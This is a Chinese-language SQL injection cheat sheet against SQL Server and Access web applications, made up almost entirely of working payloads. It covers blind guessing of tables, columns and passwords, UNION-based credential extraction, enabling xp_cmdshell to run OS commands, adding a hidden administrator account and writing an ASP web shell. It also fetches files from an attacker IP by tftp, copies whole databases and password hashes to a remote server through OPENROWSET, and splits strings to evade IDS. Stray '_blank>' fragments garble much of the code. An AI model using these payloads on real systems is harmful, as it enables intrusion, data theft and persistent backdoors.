判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是 admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<> (select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到 0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4. 猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*) >0)--
and 1= (select count(*) from admin where len(用户字段名称name)>0)
and 1= (select count(*) from admin where len(_blank>密码字段名称password)>0)
5. 猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1= (select count(*) from admin where len(name)>6) 错误
and 1= (select count(*) from admin where len(name)>5) 正确 长度是6
and 1= (select count(*) from admin where len(name)=6) 正确
and 1= (select count(*) from admin where len(password)>11) 正确
and 1= (select count(*) from admin where len(password)>12) 错误 长度是12
and 1= (select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1= (select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1= (select count(*) from admin where left(name,2)=ab)--- 猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --
这 个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users.id having 1=1--
group by users.id, users.username, users.password, users.privs having 1= 1--
; insert into users values( 666, attacker, foobar, 0xffff )--
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank> _NAME=logintable-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
UNION Select TOP 1 login_blank> _name FROM logintable-
UNION Select TOP 1 password FROM logintable where login_blank>_name=Rahul--
看 _blank>服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看 _blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。
and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))--
判 断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and sa=(Select System_blank>_user)--
and user_blank>_name()=dbo--
and 0<>(select user_blank>_name()--
看 xp_blank>_cmdshell是否删除
and 1=(Select count(*) FROM master.dbo.sysobjects Where xty pe = X AND name = xp_blank>_cmdshell)--
xp_blank>_cmdshell 被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c: \inetpub\wwwroot\xplog70.dll--
反 向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加 帐号
;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--
创 建一个虚拟目录E盘:
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub \wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e: \"--
访问属性:(配合写入一个 webshell)
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub \wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
爆库 特殊_blank>技 巧::%5c=\ 或者把/和\ 修改%5提交
and 0< >(select top 1 paths from newtable)--
得 到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依 次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xty pe=U) 暴到一个表 假设 为 admin
and 0 <>(select top 1 name from bbs.dbo.sysobjects where xty pe=U and name not in (Admin)) 来 得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xty pe=U and name=admin
and uid> (str (id))) 暴到UID的数值假设为18779569 uid=id
and 0<> (select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的 一个字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来 暴出其他的字段
and 0< (select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户 名
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字 段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<> (select top 1 name from bbs.dbo.sysobjects where xty pe=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xty pe=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xty pe=U and name=admin and uid& gt;(str(id))) 判断id值
and 0<> (select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access 也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test OUTPUT insert into paths (path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建 立image类型的表cmd
存在xp_blank>_cmdshell的测试过程:
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加 SQL帐号
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_blank> _servicecontrol start, schedule 启 动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT \system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT \system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利 用TFTP上传文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank& gt;_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from o penrowset (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)
查 询构造:
Select * FROM news Where id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 显 示有一个叫ffff的用户哈。
and 1<>(select count (email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xty pe=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xty pe=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xty pe=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上 面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用 表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, admin--, password, 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 // 为access_blank>数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xty pe=u and status>0);--
这 是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name< >刚才得到的表 名)。
;update aaa set aaa=(select top 1 name from sysobjects where xty pe=u and status>0 and name<>vote);--
然 后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出, 直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1 col_blank> _name (object_blank>_id(表名),1));--
然后 id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa= (select top 1 col_blank>_name(object_blank>_id(表名),2));--
然后 id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数 据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段= (select top 1 name from sysobjects where xty pe=u and status> 0 [ and name<>你得到的表名 查出一个加一个]) [ where 条 件] select top 1 name from sysobjects where xty pe=u and status>0 and name not in(table1,table2,…)
通 过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获 得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字 段= (select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列 如:1) [ where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
1、 开 启远程_blank>数据库
基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参 数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3. 复制目标主机的整个_blank>数据库 insert所有远程表到本地表。
基本语法:
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这 行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端 口,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank> _database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank> _database.dbo.syscolumns
复 制_blank>数据库:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
复 制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
得 到hash之后,就可以进行暴力破解。
遍历目录的方法: 先创建一个临时表:temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获 得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获 得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获 得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell ty pe c:\web \index.asp;-- 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_blank> _cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree 适用权限PUBLIC)
写入表:
语句1:and 1= (Select IS_blank> _SRVROLEMEMBER(sysadmin));--
语句2:and 1=(Select IS_blank> _SRVROLEMEMBER (serveradmin));--
语句3:and 1=(Select IS_blank> _SRVROLEMEMBER(setupadmin));--
语句4:and 1=(Select IS_blank> _SRVROLEMEMBER(securityadmin));--
语句5:and 1=(Select IS_blank> _SRVROLEMEMBER (securityadmin));--
语句6:and 1=(Select IS_blank> _SRVROLEMEMBER(diskadmin));--
语句7:and 1= (Select IS_blank> _SRVROLEMEMBER(bulkadmin));--
语句8:and 1=(Select IS_blank> _SRVROLEMEMBER (bulkadmin));--
语句9:and 1=(Select IS_blank> _MEMBER(db_blank>_owner));--
把路径写到表中去:
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<> (select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--
把 _blank>数据库备份到网页目录:下载
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xty pe=char(85)) T order by id desc)
and 1= (Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参 看相关表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int
exec sp_blank>_oacreate wscript.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, o pentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
declare @o int, @ret int
exec sp_blank>_oacreate s peech.voicetext, @o out
exec sp_blank> _oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetpro perty @o, s peed, 150
exec sp_blank>_oamethod @o, s peak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05
; declare @o int, @ret int exec sp_blank>_oacreate s peech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetpro perty @o, s peed, 150 exec sp_blank>_oamethod @o, s peak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
xp_blank>_dirtree 适用权限PUBLIC
exec master.dbo.xp_blank>_dirtree c:\
返回的信息有两个字 段 subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建 表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:\
只 要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果, 一步步达到我们想要的信息!